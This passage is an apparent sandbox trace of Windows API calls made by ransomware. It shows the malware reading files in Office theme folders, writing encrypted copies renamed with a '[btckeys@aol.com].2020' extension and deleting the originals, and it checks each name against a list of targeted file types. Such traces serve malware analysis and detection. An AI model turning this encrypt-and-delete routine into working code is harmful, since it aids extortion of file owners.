nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x680, lpOverlapped=0x0) returned 1 [0081.367] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0081.367] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0081.367] SetEndOfFile (hFile=0x204) returned 1 [0081.368] CloseHandle (hObject=0x204) returned 1 [0081.368] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.368] SetEndOfFile (hFile=0x200) returned 1 [0081.369] CloseHandle (hObject=0x200) returned 1 [0081.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.370] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0081.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0081.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0081.370] lstrlenW (lpString=".doc") returned 4 [0081.370] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.370] lstrlenW (lpString=".docx") returned 5 [0081.370] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.370] lstrlenW (lpString=".pdf") returned 4 [0081.370] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.370] lstrlenW (lpString=".xls") returned 4 [0081.370] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.370] lstrlenW (lpString=".xlsx") returned 5 [0081.370] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.370] lstrlenW (lpString=".ppt") returned 4 [0081.370] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0081.370] lstrlenW (lpString=".zip") returned 4 [0081.371] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.371] lstrlenW (lpString=".rar") returned 4 [0081.371] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.371] lstrlenW (lpString=".bz2") returned 4 [0081.371] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.371] lstrlenW (lpString=".7z") returned 3 [0081.371] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0081.371] lstrlenW (lpString=".dbf") returned 4 [0081.371] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0081.371] lstrlenW (lpString=".1cd") returned 4 [0081.371] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0081.371] lstrlenW (lpString=".jpg") returned 4 [0081.371] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0081.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0081.371] lstrlenW (lpString=".doc") returned 4 [0081.371] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.371] lstrlenW (lpString=".docx") returned 5 [0081.371] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.371] lstrlenW (lpString=".pdf") returned 4 [0081.371] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.371] lstrlenW (lpString=".xls") returned 4 [0081.372] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.372] lstrlenW (lpString=".xlsx") returned 5 [0081.372] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.372] lstrlenW (lpString=".ppt") returned 4 [0081.372] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0081.372] lstrlenW (lpString=".zip") returned 4 [0081.372] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.372] lstrlenW (lpString=".rar") returned 4 [0081.372] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.372] lstrlenW (lpString=".bz2") returned 4 [0081.372] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.372] lstrlenW (lpString=".7z") returned 3 [0081.372] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0081.372] lstrlenW (lpString=".dbf") returned 4 [0081.372] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0081.372] lstrlenW (lpString=".1cd") returned 4 [0081.372] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0081.373] lstrlenW (lpString=".jpg") returned 4 [0081.373] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.373] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0081.373] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0081.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.374] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=44850) returned 1 [0081.374] CloseHandle (hObject=0x200) returned 1 [0081.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0081.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.375] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.375] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0081.376] GetLastError () returned 0x0 [0081.376] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0xaf32, lpOverlapped=0x0) returned 1 [0081.380] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0081.382] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0081.382] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.382] SetEndOfFile (hFile=0x204) returned 1 [0081.383] CloseHandle (hObject=0x204) returned 1 [0081.383] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.383] SetEndOfFile (hFile=0x200) returned 1 [0081.384] CloseHandle (hObject=0x200) returned 1 [0081.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.385] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0081.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0081.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0081.385] lstrlenW (lpString=".doc") returned 4 [0081.385] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.385] lstrlenW (lpString=".docx") returned 5 [0081.385] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.385] lstrlenW (lpString=".pdf") returned 4 [0081.385] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.385] lstrlenW (lpString=".xls") returned 4 [0081.386] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.386] lstrlenW (lpString=".xlsx") returned 5 [0081.386] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.386] lstrlenW (lpString=".ppt") returned 4 [0081.386] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0081.386] lstrlenW (lpString=".zip") returned 4 [0081.386] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.386] lstrlenW (lpString=".rar") returned 4 [0081.386] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.386] lstrlenW (lpString=".bz2") returned 4 [0081.386] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.386] lstrlenW (lpString=".7z") returned 3 [0081.386] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0081.386] lstrlenW (lpString=".dbf") returned 4 [0081.386] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0081.386] lstrlenW (lpString=".1cd") returned 4 [0081.386] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0081.386] lstrlenW (lpString=".jpg") returned 4 [0081.386] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0081.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0081.386] lstrlenW (lpString=".doc") returned 4 [0081.387] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.387] lstrlenW (lpString=".docx") returned 5 [0081.387] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.387] lstrlenW (lpString=".pdf") returned 4 [0081.387] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.387] lstrlenW (lpString=".xls") returned 4 [0081.387] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.387] lstrlenW (lpString=".xlsx") returned 5 [0081.387] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.387] lstrlenW (lpString=".ppt") returned 4 [0081.387] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0081.387] lstrlenW (lpString=".zip") returned 4 [0081.387] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.387] lstrlenW (lpString=".rar") returned 4 [0081.387] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.387] lstrlenW (lpString=".bz2") returned 4 [0081.387] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.387] lstrlenW (lpString=".7z") returned 3 [0081.387] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0081.387] lstrlenW (lpString=".dbf") returned 4 [0081.387] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0081.387] lstrlenW (lpString=".1cd") returned 4 [0081.387] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0081.388] lstrlenW (lpString=".jpg") returned 4 [0081.388] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.388] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0081.388] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0081.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.389] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1379) returned 1 [0081.389] CloseHandle (hObject=0x200) returned 1 [0081.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0081.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.390] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.390] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0081.395] GetLastError () returned 0x0 [0081.395] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x563, lpOverlapped=0x0) returned 1 [0081.398] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x570, lpOverlapped=0x0) returned 1 [0081.399] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0081.399] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0081.399] SetEndOfFile (hFile=0x204) returned 1 [0081.399] CloseHandle (hObject=0x204) returned 1 [0081.400] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.400] SetEndOfFile (hFile=0x200) returned 1 [0081.401] CloseHandle (hObject=0x200) returned 1 [0081.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.401] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0081.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0081.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0081.401] lstrlenW (lpString=".doc") returned 4 [0081.401] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.401] lstrlenW (lpString=".docx") returned 5 [0081.402] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.402] lstrlenW (lpString=".pdf") returned 4 [0081.402] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.402] lstrlenW (lpString=".xls") returned 4 [0081.402] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.402] lstrlenW (lpString=".xlsx") returned 5 [0081.402] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.402] lstrlenW (lpString=".ppt") returned 4 [0081.402] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0081.402] lstrlenW (lpString=".zip") returned 4 [0081.402] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.402] lstrlenW (lpString=".rar") returned 4 [0081.402] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.402] lstrlenW (lpString=".bz2") returned 4 [0081.402] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.402] lstrlenW (lpString=".7z") returned 3 [0081.402] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0081.402] lstrlenW (lpString=".dbf") returned 4 [0081.402] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0081.402] lstrlenW (lpString=".1cd") returned 4 [0081.402] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0081.402] lstrlenW (lpString=".jpg") returned 4 [0081.402] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0081.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0081.403] lstrlenW (lpString=".doc") returned 4 [0081.403] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.403] lstrlenW (lpString=".docx") returned 5 [0081.403] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.403] lstrlenW (lpString=".pdf") returned 4 [0081.403] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.403] lstrlenW (lpString=".xls") returned 4 [0081.403] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.403] lstrlenW (lpString=".xlsx") returned 5 [0081.403] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.403] lstrlenW (lpString=".ppt") returned 4 [0081.403] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0081.403] lstrlenW (lpString=".zip") returned 4 [0081.403] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.403] lstrlenW (lpString=".rar") returned 4 [0081.403] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.403] lstrlenW (lpString=".bz2") returned 4 [0081.403] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.403] lstrlenW (lpString=".7z") returned 3 [0081.403] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0081.403] lstrlenW (lpString=".dbf") returned 4 [0081.403] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0081.403] lstrlenW (lpString=".1cd") returned 4 [0081.403] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0081.404] lstrlenW (lpString=".jpg") returned 4 [0081.404] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.404] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0081.404] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0081.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.404] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=48115) returned 1 [0081.404] CloseHandle (hObject=0x200) returned 1 [0081.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0081.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.405] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.405] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0081.406] GetLastError () returned 0x0 [0081.406] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0081.409] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0081.411] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, 